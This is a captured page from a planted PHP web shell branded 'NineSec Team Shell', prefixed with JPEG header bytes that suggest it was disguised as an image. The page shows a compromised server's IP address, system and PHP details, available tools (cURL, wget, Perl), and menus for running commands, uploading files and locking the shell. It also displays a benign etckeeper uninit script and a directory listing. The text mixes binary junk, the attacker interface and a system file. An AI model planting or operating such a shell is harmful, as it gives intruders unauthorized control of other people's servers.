�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/ldap/../etckeeper/uninit.d/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/ldap/../etckeeper/uninit.d/50vcs-uninit
#!/bin/sh
set -e

if [ "$VCS" = git ]; then
	rm -rf .git
	file=.gitignore
elif [ "$VCS" = hg ]; then
	rm -rf .hg
	file=.hgignore
elif [ "$VCS" = bzr ]; then
	rm -rf .bzr
	file=.bzrignore
elif [ "$VCS" = darcs ]; then
	rm -rf _darcs
	file=.darcsignore
fi

managed_by_etckeeper="managed by etckeeper"

if ! grep -q "$managed_by_etckeeper" "$file"; then
	exit 0
else
	realfile="$file"
	if which tempfile >/dev/null 2>&1 || type tempfile >/dev/null 2>&1; then
		tempfile="tempfile"
	elif which mktemp >/dev/null 2>&1 || type mktemp >/dev/null 2>&1; then
		tempfile="mktemp"
	else
		echo "etckeeper warning: can't find tempfile or mktemp" >&2
		exit 1
	fi
	file=$($tempfile)
	otherentries=
	skipping=
	while read -r line; do
		if echo "$line" | grep -q "$managed_by_etckeeper"; then
			if [ ! "$skipping" ]; then
				skipping=1
			else
				skipping=
			fi
		elif [ ! "$skipping" ]; then
			echo "$line" >> "$file"
			otherentries=1
		fi
	done <"$realfile"

	if [ "$otherentries" ]; then
		mv -f "$file" "$realfile"
	else
		rm -f "$file"
		rm -f "$realfile"
	fi
fi

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
March 29 2022 10:49:59
root
0755
01prompt
0.361 KB
March 30 2020 12:24:10
root
0755
50remove-metadata
0.154 KB
March 30 2020 12:24:10
root
0755
50vcs-uninit
1.034 KB
March 30 2020 12:24:10
root
0755
README
0.121 KB
March 30 2020 12:24:10
root
0644

NineSec Team - 2022